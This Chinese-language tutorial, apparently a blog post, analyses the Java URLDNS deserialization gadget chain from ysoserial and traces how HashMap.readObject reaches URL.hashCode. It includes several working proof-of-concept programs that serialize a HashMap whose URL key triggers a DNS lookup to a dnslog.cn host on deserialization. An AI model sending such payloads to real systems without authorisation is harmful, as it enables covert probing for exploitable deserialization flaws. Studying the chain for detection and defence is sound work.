前言

URLDNS链是Java反序列化中比较简单的一个链子,由于URLDNS不依赖第三方包和不限制jdk版本,所以经常用于检测反序列化漏洞。

URLDNS并不能执行命令,只能发送DNS请求。

(应该先看这个简单的链再去学习cc1的...)

利用链

查看ysoserial中URLDNS的Gadget:

Gadget Chain:
  HashMap.readObject()
    HashMap.putVal()
      HashMap.hash()
        URL.hashCode()

接下来进行逐一分析:

URL

该类位于java.net.URL,通过该类的Hashcode方法我们可以进行DNS请求

package com.serializable.urldns;

import java.net.URL;

public class UrlDns {
    public static void main(String[] args) throws Exception {
        URL url = new URL("http://java.ei3jpq.dnslog.cn/");
        url.hashCode();
    }
}

通过调试跟进一下DNS请求的过程:

这里handler是一个URLStreamHandler类对象,并且设置了transient关键字(不被序列化)

第一部分就是注释描述去解析了HTTP协议

第二部分就是进行解析host,通过getHostAddress方法进行DNS解析

HashMap

即使是不依赖第三方包的链子,调用hashCode的地方也是很多的

找到HashMap这里,发现在hash方法中调用了k.hashCode方法,并且调用对象k也是可控的

但是我们发现这里hash方法的关键字为final,这里去看了下final的作用:

  1. 用于修饰类:该类不能被继承,并且所有成员方法都会被隐式指定为final
  2. 用于修饰方法:该方法不能被修改,并且会被隐式指定为private
  3. 用于修饰变量:该变量不能被修改,如果是引用类型的变量,则在对其初始化之后便不能再让其指向另一个对象

所以这里不能直接调用hash方法,需要通过反射:

package com.serializable.urldns;

import java.lang.reflect.Method;
import java.net.URL;
import java.util.HashMap;

public class UrlDns {
    public static void main(String[] args) throws Exception {
        HashMap hashMap = new HashMap();
        URL url = new URL("http://java.z5aw2t.dnslog.cn/");
        Class<? extends HashMap> aClass = hashMap.getClass();
        Method hash = aClass.getDeclaredMethod("hash", Object.class);
        hash.setAccessible(true);
        hash.invoke(hashMap, url);
    }
}

运行代码后成功执行

jdk1.7

但是我们发现在ysoserial中并不是这样利用的,是通过put方法调用了hash方法进行调用

所以poc也可以这样写:

package com.serializable.urldns;

import java.net.URL;
import java.util.HashMap;

public class UrlDns {
    public static void main(String[] args) throws Exception {
        HashMap hashMap = new HashMap();
        URL url = new URL("http://java.z5aw2t.dnslog.cn/");
        hashMap.put(url, null);
    }
}

之后查看了HashMap.readObject方法,发现在最后调用了putForCreate

该方法也调用了hash,所以正确的链子应该是从putForCreate进去的

但是在写的时候发现了一个问题,就是当在构造poc时,需要使用put写key,所以这个时候会触发一次dns解析,如何避免这个问题需要解决,我们再去看一下dns解析的那块代码

在这里如果hashCode!=-1就会直接返回hashCode,并不会进入handler.hashCode进行DNS解析,我们可以在HashMap.put前通过反射修改该值,然后在put之后修改回来就可以达到目的,所以poc如下:

package com.serializable.urldns;

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class UrlDns {
    public static void main(String[] args) throws Exception {
        HashMap hashMap = new HashMap();
        URL url = new URL("http://java.3hnrl6.dnslog.cn/");
        Field hashCode = Class.forName("java.net.URL").getDeclaredField("hashCode");
        hashCode.setAccessible(true);
        hashCode.set(url, 0);
        hashMap.put(url, null);
        hashCode.set(url, -1);
        try {
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
            outputStream.writeObject(hashMap);
            outputStream.close();
            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("ser.bin"));
            inputStream.readObject();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

jdk1.8

看了其他文章,说readObject中有一个putVar方法,刚才一直在使用jdk1.7在分析,猜测可能是和这个有关系,查看jdk1.8中的HashMap看一看

jdk1.8中,HashMap.readObject,中的putVal这里参数中直接调用了hash方法,但是在poc构造上还是相同

ysoserial中示例

刚刚我们通过反射修改hashCode进行避免运行poc时触发DNS解析,在ysoserial中却不是这样做的

它通过自定义类继承URLStreamHandler,然后传入URL,当调用getHostAddress时将会返回null

由于URL中handler变量的关键字为transient,刚刚说过该关键字作为标识的不能被序列化,所以这个自定义类并不会写入序列化字符串中,也就成功避免了DNS解析

随之就尝试写poc,结果运行发现dnslog并没有收到,调试发现hashCode不是-1

然后发现ysoserial最后还有一句话,是将URL对象里的hashCode置-1,注释是这样说的“在上面的put过程中,会计算并缓存URL的hashCode。这将重置hashCode,以便下次调用hashCode时触发DNS查找”

通过调试put看一下是如何缓存的

这里因为getHostAddress重写返回null

然后通过一系列的解析得到1528092086并返回,返回后复制给hashCode

所以我们还需要在put之后通过反射将hashCode缓存清除,这样一来发现还是一开始写的那个代码可能更少一点

最终POC

package com.serializable.urldns;

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class UrlDns {
    public static void main(String[] args) throws Exception {
        HashMap hashMap = new HashMap();
        URL url = new URL("http://java.3hnrl6.dnslog.cn/");
        Field hashCode = Class.forName("java.net.URL").getDeclaredField("hashCode");
        hashCode.setAccessible(true);
        hashCode.set(url, 0);
        hashMap.put(url, null);
        hashCode.set(url, -1);
        try {
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
            outputStream.writeObject(hashMap);
            outputStream.close();
            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("ser.bin"));
            inputStream.readObject();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

或者

package com.serializable.urldns;

import java.io.*;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;

public class UrlDns {
    public static void main(String[] args) throws Exception {
        SilentURLStreamHandler silentURLStreamHandler = new SilentURLStreamHandler();
        URL url = new URL(null, "http://java.4l89i4.dnslog.cn/", silentURLStreamHandler);
        HashMap hashMap = new HashMap();
        hashMap.put(url, null);
        Field hashCode = url.getClass().getDeclaredField("hashCode");
        hashCode.setAccessible(true);
        hashCode.set(url, -1);

        try {
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
            outputStream.writeObject(hashMap);
            outputStream.close();
            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("ser.bin"));
            inputStream.readObject();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    static class SilentURLStreamHandler extends URLStreamHandler {

        protected URLConnection openConnection(URL u) throws IOException {
            return null;
        }

        protected synchronized InetAddress getHostAddress(URL u) {
            return null;
        }
    }
}